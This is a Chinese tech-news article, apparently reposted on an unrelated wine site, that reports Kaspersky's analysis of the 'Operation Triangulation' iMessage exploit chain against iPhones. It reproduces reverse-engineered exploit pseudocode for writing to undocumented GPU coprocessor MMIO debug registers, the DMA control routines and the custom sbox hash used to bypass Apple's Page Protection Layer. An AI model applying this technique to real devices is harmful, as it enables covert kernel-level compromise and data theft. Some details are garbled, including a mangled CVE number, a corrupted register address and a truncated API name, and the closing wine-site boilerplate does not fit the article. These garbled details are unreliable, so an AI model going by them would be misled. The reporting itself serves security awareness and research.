四年磨一剑iPhone遭遇史上最强iMessage攻击，隐私数据被窃，Karpathy震惊

本文给大家分享的是四年磨一剑iPhone遭遇史上最强iMessage攻击，隐私数据被窃，Karpathy震惊的相关内容！

在科技日新月异的我们是否已经对隐私安全视而不见？

四年磨一剑的iPhone，竟然遭遇了史上最强iMessage攻击，隐私数据被窃。这是否意味着我们的个人信息已经不再安全？Karpathy的震惊，又该引发我们怎样的思考？

新智元报道

新智元导读iPhone曝光「史上最复杂」硬件级漏洞！黑客只需要一个imessage就可以得到所有敏感的数据，用户不会注意到。

整个漏洞涉及的链条极其复杂，这让Karpathy大吃一惊:普通人做不到。

卡巴斯基的研究人员发现，一些黑客在四年多的时间里为数千个iPhone留下了一个非常隐蔽的后门。

通过这个硬件级别的后门，您可以直接获得iPhone最高级别的Root权限。要成功使用这个后门，我们必须对苹果产品的底层机制有一个非常全面和详细的了解。

发现这个漏洞的卡巴斯基研究人员说，「无法想象这个漏洞是如何被意外发现的。」在他看来，除了苹果和ARM，几乎不可能有人知道这个漏洞。

通过这个复杂的漏洞，软件可以将麦克风录音、照片、地理位置和其他敏感数据传输到攻击者控制的服务器。

虽然重新启动可以关闭这个漏洞，但攻击者只需在设备重新启动后向设备发送新的恶意imessage文本，就可以重新启动这个漏洞。

期间完全不需要用户操作，也不会留下任何线索，非常隐蔽。

对此，OpenAI科学家Andrej Karpathy说：这无疑是我们迄今为止所见过的最复杂的攻击链之一。

在这方面，Karpathy认为，这不再是个人行为可以触及的范畴，而应该是国家层面的行为。

一位声称使用Palm手机的网友回答说：「这就是我坚持使用Palm手机的意义所在。」

甚至有网友感叹：「如果你成功地惹恼了拥有这种技术能力和资源的人，也许你最不用担心的就是你手机上的数据。」

目前，苹果已于2023年10月25日修复了这一核心安全漏洞。

「三角行动」攻击链

这个漏洞被发现的研究人员称为「三角行动」（Operation Triangulation）。

攻击者通过imessage发送恶意附件，应用程序会在用户没有注意到的情况下打开这个漏洞。

附件使用远程代码执行的漏洞（CVE-2023年4190年)，这个漏洞存在于一个只有苹果知道的未公开的漏洞中 ADJUST在TrueType字体指令中。该指令自20世纪90年代初以来一直存在，直到更新后才被删除。

在攻击过程中，它使用了一种名称「返回/跳转导向编程」高级编程技巧，并使用多个阶段的代码，这些代码是用NSExpssion/NSPredicate查询语言编写的，它们修改JavaScriptcore库的环境，以执行一个用JavaScript编写的漏洞攻击程序。

JavaScript漏洞攻击程序经过特殊处理，使其几乎无法读懂，同时也尽可能缩小了其体积。

它仍然包含大约11000行代码。

这些代码主要用于JavaScriptCore和内核内存的分析和操作。

它还利用JavaScriptCore的调试功能DollarvM($vm)，通过此功能，攻击者可以在脚本中操作JavaScriptCore的内存，并调用系统的原始API函数。

该攻击工具被设计成与新旧型号兼容的iPhone，对于新型号的设备，它包含了一个用于绕过指针认证码的设备（PAC）技术，这使得攻击能够对最新设备生效。

它通过使用XNU内存映射系统进行调用（mach_make_memory_entry和vm_map）整数溢出漏洞之一（CVE-2023-32434)，实现了用户级对设备所有物理内存的读写控制。

该工具还使用硬件内存映射I/O（MMIO）存储器避免页面保护层（PPL），这一问题在CVE-2023-38606中得到了缓解。

使用所有漏洞后，JavaScript漏洞可以随意控制设备，包括部署软件。

攻击者选择了：（a）启动在IMAgent过程中，注入代码以去除使用痕迹；（b）在无痕模式下运行Safari过程，并将其引导到包含下一阶段内容的网页。

该网页嵌入了一个脚本，可以确认受害者的身份。

一旦验证通过，将加载下一阶段的攻击代码:Safari漏洞。

Safari漏洞通过CVE-2023-32435执行shellcode。

这个shellcode进一步实施了另一个核心漏洞，同样使用CVE-2023-32434和CVE-2023-38606。它的规模和功能都很大，但与JavaScript编写的核心漏洞有很大的不同。它们只使用与上述漏洞相关的部分代码。

其大部分代码也专注于内核内存的分析和控制。

这个漏洞最终获得了root权限，并继续在其他阶段进行操作，以便加载软件。

谜一样的漏洞

讨论的焦点是一个已修复的安全漏洞，编号为CVE-2023-38606。

新一代iPhone在硬件层面增加了额外的安全防护措施，以保护内核内存中的敏感区域。

即使攻击者能读写内存，比如使用CVE-2023-32434漏洞进行攻击，这种保护也能阻止他们完全控制设备。

研究人员发现，为了避免这种硬件保护，攻击者使用了苹果自己设计的SoC中的另一个硬件功能。

简单地说，攻击者的技术是这样的：他们绕过硬件保护，将数据、目标地址和数据的哈希值写入芯片中未使用的一些未知硬件存储器，以写入特定的物理地址。

研究人员推测，这种未知的硬件功能很可能是为苹果工程师或工厂的调试或测试而设计的，或意外包括在内。

由于固件没有使用这个功能，研究人员对攻击者如何知道并使用它一无所知。

技术细节

系统级芯片（System on a Chip, SoC）在中间，各种外设可以为中央处理器提供特殊的硬件寄存器（CPU）使用它来控制这些外设。

为了实现这一点，这些硬件寄存器被映射到CPU可访问的内存中，这被称为「内存映射输入/输出(Memory-Mapped I/O, MMIO)」。

苹果的产品，如iPhone、在Mac等设备中，外围设备的MMIO地址范围存储在一种特殊的文件格式中，称为「设备树（DeviceTree）」。

这些设备树文件可以从固件中提取，也可以使用dt（DeviceTree）工具检查它们的内容。

MMIO在设备树中的存储示例

例如，在这个截图中，可以看到cpu0的acccc-impl MMIO范围的起始地址(0x210f00000)和大小(0x500000)。

深入研究「三角行动」（Operation Triangulation）当攻击中使用的漏洞时，研究人员意外地发现，攻击者使用的大部分MMIO地址并没有在设备树中定义，以绕过硬件级别的核内存保护。

这个漏洞是专门针对苹果从A12到A16的SOC，攻击0x206040000、0x20614000和0x206150000的神秘MMIO寄存器块。

这激发了研究人员的好奇心，并进行了一系列的尝试。我翻遍了各种设备的设备树文件和固件文件，但没有找到任何线索。

这让研究人员感到困惑。为什么这些被攻击者使用的MMIO地址不在固件中使用？攻击者是如何找到这些地址的？

这些MMIO地址属于哪些外围设备？

之后，研究人员决定检查这些未知的MMIO块附近是否有其他已知的MMIO地址。这一次，他终于找到了一些有价值的信息。

在GFx-asc设备树条目的信息中，这是GPU的协处理器。

设备树中gfx-asc条目的数据转储

它包含两个MMIO（Memory-Mapped I/O）内存映射范围：0x2064万万–0x20646C000和0x206050000–0x206050008。

gfx-asc MMIO范围与漏洞所用地址的相关性

为了更准确地描述，这个漏洞使用了以下未知地址：0x206040000、0x206140008、0x206140108、0x206150020、0x206150040和0x206150048。

研究人员发现，这些地址大多位于两个gfx-asc内存区的中间，而剩下的地址则靠近第一个gfx-asc区的起始位置。

这意味着所有这些内存映射输入输出（MMIO）寄存器很可能属于图形处理单元（GPU）协处理器！

随后，研究人员对这一漏洞进行了更深入的分析，并发现了进一步的证据。

在初始化过程中，漏洞将首先写入每个SoC特定地址的内存映射输入输出（MMIO）寄存器。

if(cpuid== 0x8765EDEA):# CPUFAMILY_ARM_EVEREST_SAWTOOTH(A16)base= 0x23B700408command= 0x1F0023FFelif(cpuid== 0xDA33D83D):# CPUFAMILY_ARM_AVALANCHE_BLIZZARD(A15)base= 0x23B7003C8command= 0x1F0023FFelif(cpuid== 0x1B588BB3):# CPUFAMILY_ARM_FIRESTORM_ICESTORM(A14)base= 0x23B7003D0command= 0x1F0023FFelif(cpuid== 0x462504D2):# CPUFAMILY_ARM_LIGHTNING_THUNDER(A13)base= 0x23B080390command= 0x1F0003FFelif(cpuid== 0x07D34B9F):# CPUFAMILY_ARM_VORTEX_TEMPEST(A12)base= 0x23B080388command= 0x1F0003FFif((~read_dword(base)& 0xF)!= 0):write_dword(base, command)while(True):if((~read_dword(base)& 0xF)== 0):break

漏洞中GFX电源管理器控制代码的伪代码

在设备树和Siguza开发的工具pmgr的辅助下，研究人员发现所有这些地址都对应于电源管理器中的GFX寄存器所在的MMIO（Memory-Mapped Input/Output）范围。

最后，当研究人员尝试去访问这些未知区域的寄存器时，得到了第三个证实。

GPU的协处理器几乎立刻报错，显示信息：「GFX SERROR Exception(SError interrupt), IL=1, iss=0– power(1)」。

这样，研究人员就确认了所有这些未知的MMIO寄存器，它们是被用来进行漏洞利用的，确实属于GPU的协处理器。

这促使研究人员更深入地研究这个固件，这些固件也是用ARM架构编写且未加密的，但是他在固件中并没有找到任何与这些寄存器相关的信息。

他决定更仔细地研究这个漏洞是如何操纵这些未知的MMIO寄存器的。在所有寄存器中，0x206040000特别引人注目，因为它位于一个与其他所有寄存器都不同的独立MMIO块中。

它仅在漏洞的初始化和结束阶段被操作：在初始化过程中是第一个被设置的寄存器，在结束阶段是最后一个。

根据研究人员的经验，很明显这个寄存器不是用来启用/禁用漏洞所利用的硬件功能，就是用来中断控制。

研究人员开始追踪中断的线索，不久之后，他不仅识别出了这个未知的寄存器0x206040000，还发现了地址范围0x206000000–0x206050000究竟映射了什么。

下面展示的是研究人员能够识别出的漏洞代码的逆向工程结果。

def ml_dbgwrap_halt_cpu:value= read_qword(0x206040000)if((value& 0x90000000)!= 0):returnwrite_qword(0x206040000, value| 0x80000000)while(True):if((read_qword(0x206040000)& 0x10000000)!= 0):breakdef ml_dbgwrap_unhalt_cpu:value= read_qword(0x206040000)value=(value& 0xFFFFFFFF2FFFFFFF)| 0x40000000write_qword(0x206040000, value)while(True):if((read_qword(0x206040000)& 0x10000000)== 0):break

利用程序使用0x206040000寄存器的伪代码

成功将之前伪代码中的ml_dbgwrap_halt_cpu函数与XNU源代码的dbgwrap.c文件中同名函数匹配起来。该文件包含了用于操控主CPU的ARM CoreSight MMIO调试寄存器（ARM CoreSight MMIO debug registers）的代码。

源代码显示，存在四个与CoreSight相关的MMIO区域，它们分别是ED、CTI、PMU和UTT。每个区域占据0x节，且彼此紧邻。

ml_dbgwrap_halt_cpu函数利用了UTT区域。与其他三个区域不同，UTT并非来自ARM，而是苹果专门为了便利性添加的专有特性。

研究人员确认了地址范围0x206000000到0x206050000确实是GPU协处理器的CoreSight MMIO调试寄存器区块，这是通过向对应地址写入ARM_DBG_LOCK_ACCESS_KEY实现的。

主CPU的每个核心都有自己的CoreSight MMIO调试寄存器区块，但不同于GPU协处理器，它们的地址可以在设备树中找到。

另一个有趣的发现是，漏洞的作者（们）知道如何利用苹果公司专有的UTT区域来重新启动CPU，而这部分代码并不包含在XNU源代码中。

可以合理推测，这一操作很可能是通过实验得出的。

通过实验是无法发现攻击者在第二个未知区域内对寄存器的操作的。研究人员不确定那里有哪些MMIO调试寄存器区块，如果这些寄存器并未被固件所用，攻击者是如何发现其用途的也是个谜。

现在，再来关注漏洞利用的其他未知寄存器。

寄存器地址0x206140008和0x206140108负责控制启用/禁用以及执行漏洞所依赖的硬件功能。

def dma_ctrl_1:ctrl= 0x206140108value= read_qword(ctrl)write_qword(ctrl, value| 0x8000000000000001)sleep(1)while((~read_qword(ctrl)& 0x8000000000000001)!= 0):sleep(1)def dma_ctrl_2(flag):ctrl= 0x206140008value= read_qword(ctrl)if(flag):if((value& 0x1000000000000000)== 0):value= value| 0x1000000000000000write_qword(ctrl, value)else:if((value& 0x1000000000000000)!= 0):value= value&~0x1000000000000000write_qword(ctrl, value)def dma_ctrl_3(value):ctrl= 0x206140108value= value| 0x8000000000000000write_qword(ctrl, read_qword(ctrl)& value)while((read_qword(ctrl)& 0x8000000000000001)!= 0):sleep(1)def dma_init(original_value_0x206140108):dma_ctrl_1dma_ctrl_2(False)dma_ctrl_3(original_value_0x206140108)def dma_done(original_value_0x206140108):dma_ctrl_1dma_ctrl_2(True)dma_ctrl_3(original_value_0x206140108)

利用程序使用 0x206140008和 0x206140108寄存器的伪代码

寄存器0x206150020专门用于苹果的A15/A16 Bionic SoC。在漏洞利用的启动阶段，此寄存器会被设置为1；而在漏洞利用完成后，会恢复为初始的数值。

寄存器0x206150040被用来保存一些状态标识和目标物理地址的低位部分。

最后的寄存器，0x206150048，则负责存储待写入的数据以及目标物理地址的高位部分。

这些数据会与数据的校验哈希值以及另外的数值（可能是指令）一起打包。该硬件功能会将数据分块，每块大小为64（0x40）字节进行对齐写入，并且需要连续九次写操作将全部数据写入至0x206150048寄存器。

if(cpuid== 0x8765EDEA):# CPUFAMILY_ARM_EVEREST_SAWTOOTH(A16)i= 8mask= 0x7FFFFFFelif(cpuid== 0xDA33D83D):# CPUFAMILY_ARM_AVALANCHE_BLIZZARD(A15)i= 8mask= 0x3FFFFFelif(cpuid== 0x1B588BB3):# CPUFAMILY_ARM_FIRESTORM_ICESTORM(A14)i= 0x28mask= 0x3FFFFFelif(cpuid== 0x462504D2):# CPUFAMILY_ARM_LIGHTNING_THUNDER(A13)i= 0x28mask= 0x3FFFFFelif(cpuid== 0x07D34B9F):# CPUFAMILY_ARM_VORTEX_TEMPEST(A12)i= 0x28mask= 0x3FFFFFdma_init(original_value_0x206140108)hash1= calculate_hash(data)hash2= calculate_hash(data+0x20)write_qword(0x206150040, 0x2000000|(phys_addr& 0x3FC0))pos= 0while(pos< 0x40):write_qword(0x206150048, read_qword(data+ pos))pos+= 8phys_addr_upper=((((phys_addr>> 14)& mask)<< 18)& 0x3FFFFFFFFFFFF)value= phys_addr_upper|(hash1<< i)|(hash2<< 50)| 0x1Fwrite_qword(0x206150048, value)dma_done(original_value_0x206140108)

利用漏洞使用0x206150040和0x206150048寄存器的伪代码

只要操作无误，硬件就会执行直接内存访问（DMA）操作，把数据写入指定的内存地址。

利用这项硬件特性，攻击者可以绕过页面保护层（Page Protection Layer, PPL），主要用途是修改页表条目。

它还能修改受保护的__PPLDATA段内的数据。尽管这个漏洞并未用于修改内核代码，但在研究人员进行的一次测试中，曾成功修改了内核的__TEXT_EXEC段内的一条指令，并引发了一个显示预期地址和值的「未定义内核指令」错误。

这种情况只出现过一次，其他尝试都导致了AMCC错误的发生。关于那次成功的尝试，研究人员有一些思路，未来研究人员计划深入研究，因为他认为，将一个本用于攻击的漏洞转化为正面用途，比如在新款iPhone上启用内核调试功能，将会非常有意义。

讨论了所有与MMIO（Memory-Mapped I/O）寄存器相关的工作之后，现在来关注最后一个话题：哈希值的计算方法。

具体的算法如下所示。

sbox=[0x007, 0x00B, 0x00D, 0x013, 0x00E, 0x015, 0x01F, 0x016,0x019, 0x023, 0x02F, 0x037, 0x04F, 0x01A, 0x025, 0x043,0x03B, 0x057, 0x08F, 0x01C, 0x026, 0x029, 0x03D, 0x045,0x05B, 0x083, 0x097, 0x03E, 0x05D, 0x09B, 0x067, 0x117,0x02A, 0x031, 0x046, 0x049, 0x085, 0x103, 0x05E, 0x09D,0x06B, 0x0A7, 0x11B, 0x217, 0x09E, 0x06D, 0x0AB, 0x0C7,0x127, 0x02C, 0x032, 0x04A, 0x051, 0x086, 0x089, 0x105,0x203, 0x06E, 0x0AD, 0x12B, 0x147, 0x227, 0x034, 0x04C,0x052, 0x076, 0x08A, 0x091, 0x0AE, 0x106, 0x109, 0x0D3,0x12D, 0x205, 0x22B, 0x247, 0x07A, 0x0D5, 0x153, 0x22D,0x038, 0x054, 0x08C, 0x092, 0x061, 0x10A, 0x111, 0x206,0x209, 0x07C, 0x0BA, 0x0D6, 0x155, 0x193, 0x253, 0x28B,0x307, 0x0BC, 0x0DA, 0x156, 0x255, 0x293, 0x30B, 0x058,0x094, 0x062, 0x10C, 0x112, 0x0A1, 0x20A, 0x211, 0x0DC,0x196, 0x199, 0x256, 0x165, 0x259, 0x263, 0x30D, 0x313,0x098, 0x064, 0x114, 0x0A2, 0x15C, 0x0EA, 0x20C, 0x0C1,0x121, 0x212, 0x166, 0x19A, 0x299, 0x265, 0x2A3, 0x315,0x0EC, 0x1A6, 0x29A, 0x266, 0x1A9, 0x269, 0x319, 0x2C3,0x323, 0x068, 0x0A4, 0x118, 0x0C2, 0x122, 0x214, 0x141,0x221, 0x0F4, 0x16C, 0x1AA, 0x2A9, 0x325, 0x343, 0x0F8,0x174, 0x1AC, 0x2AA, 0x326, 0x329, 0x345, 0x383, 0x070,0x0A8, 0x0C4, 0x124, 0x218, 0x142, 0x222, 0x181, 0x241,0x178, 0x2AC, 0x32A, 0x2D1, 0x0B0, 0x0C8, 0x128, 0x144,0x1B8, 0x224, 0x1D4, 0x182, 0x242, 0x2D2, 0x32C, 0x281,0x351, 0x389, 0x1D8, 0x2D4, 0x352, 0x38A, 0x391, 0x0D0,0x130, 0x148, 0x228, 0x184, 0x244, 0x282, 0x301, 0x1E4,0x2D8, 0x354, 0x38C, 0x392, 0x1E8, 0x2E4, 0x358, 0x394,0x362, 0x3A1, 0x150, 0x230, 0x188, 0x248, 0x284, 0x302,0x1F0, 0x2E8, 0x364, 0x398, 0x3A2, 0x0E0, 0x190, 0x250,0x2F0, 0x288, 0x368, 0x304, 0x3A4, 0x370, 0x3A8, 0x3C4,0x160, 0x290, 0x308, 0x3B0, 0x3C8, 0x3D0, 0x1A0, 0x260,0x310, 0x1C0, 0x2A0, 0x3E0, 0x2C0, 0x320, 0x340, 0x380def calculate_hash(buffer):acc= 0for i in range(8):pos= i 4value= read_dword(buffer+ pos)for j in range(32):if(((value>> j)& 1)!= 0):acc^= sbox[32 i+ j]return acc

该未知硬件功能使用的哈希函数伪代码

如你所见，这是一种定制的算法，其哈希值的计算依赖于一个预先定义好的sbox表（sbox table）。他尝试在庞大的二进制文件库中搜寻它，但一无所获。

你可能已经注意到，这个哈希并不特别安全，因为它只有20位（两次各计算10位），但只要没人知道如何计算和应用它，它就足够用了。这种做法最恰当的描述就是「隐晦式安全（security by obscurity）」。

如果攻击者没有使用这个硬件特性，并且固件中没有任何关于如何使用它的指引，他们如何可能发现并利用它呢？

研究人员又做了一个测试。他发现Mac内置的M1芯片也具备这一未知的硬件特性。接着，他利用了功能强大的m1n1工具进行了一次实验。

该工具具备一个trace_range功能，可以追踪对指定MMIO寄存器范围的所有访问，用它来监测0x206110000到0x206400000内存范围的活动，但结果显示macOS并未使用这些寄存器。

这次涉及到的GPU协处理器是才在苹果的SoC中首次出现的。研究人员怀疑这个硬件功能在之前的零售固件中有过任何用途。

尽管如此，也不能排除它可能曾在某个特定固件更新或XNU源代码的发布中不小心泄露过，之后又被删除的可能性。

研究人员原本希望通过iOS 16.6中对这个漏洞的修复，来探究第二个未知区域里隐藏了什么。

最后确实找到了苹果是如何解决这个问题的，但他们故意将修复措施弄得难以理解。

苹果通过在设备树的pmap-io-ranges中加入了MMIO范围0x206000000–0x206050000和0x206110000–0x206400000来防止这个漏洞被利用。

XNU根据这里的信息来判断是否允许某些物理地址的映射。所有记录在案的条目都贴上了一个标签名，这些标签清楚地说明了这些内存范围的用途。

存储在pmap-io-ranges中的条目示例

在这里，PCIe指的是「高速外围设备互连（Peripheral Component Interconnect Expss）」，DART是「设备地址解析表（Device Address Resolution Table）」，DAPF代表「设备地址过滤器（Device Address Filter）」，诸如此类。

下面列出的是被漏洞利用的内存区域的标签名称。

这些标签在列表中显得格外醒目。

利用漏洞的区域条目

「隐晦式安全」并不安全

可以看到，这个漏洞非比寻常，我们既不清楚攻击者如何学会利用这个未知的硬件特性，也不知道它最初是用来做什么的。

甚至都不确定它是由苹果开发出来的，还是类似ARM CoreSight这样的第三方组件造成的。

但漏洞说明了一个事实：只要存在能够绕过安全防护的硬件特征，那么无论多么先进的硬件安全措施，在精明的攻击者面前都会变得毫无用处。

硬件安全常常依赖于「隐晦式安全」（security through obscurity），相较于软件来说，硬件更难逆向工程分析。

但这种方法本身是存在缺陷的，因为所有的秘密终将有被揭露的一天。那些依赖于「隐晦式安全」来维护的系统，永远无法做到真正的安全。

这次，和四年磨一剑iPhone遭遇史上最强iMessage攻击，隐私数据被窃，Karpathy震惊有关内容就为朋友们整理到这里，更多品酒技巧、酒水文化知识以及各种酒水品牌介绍可查看本站其他栏目。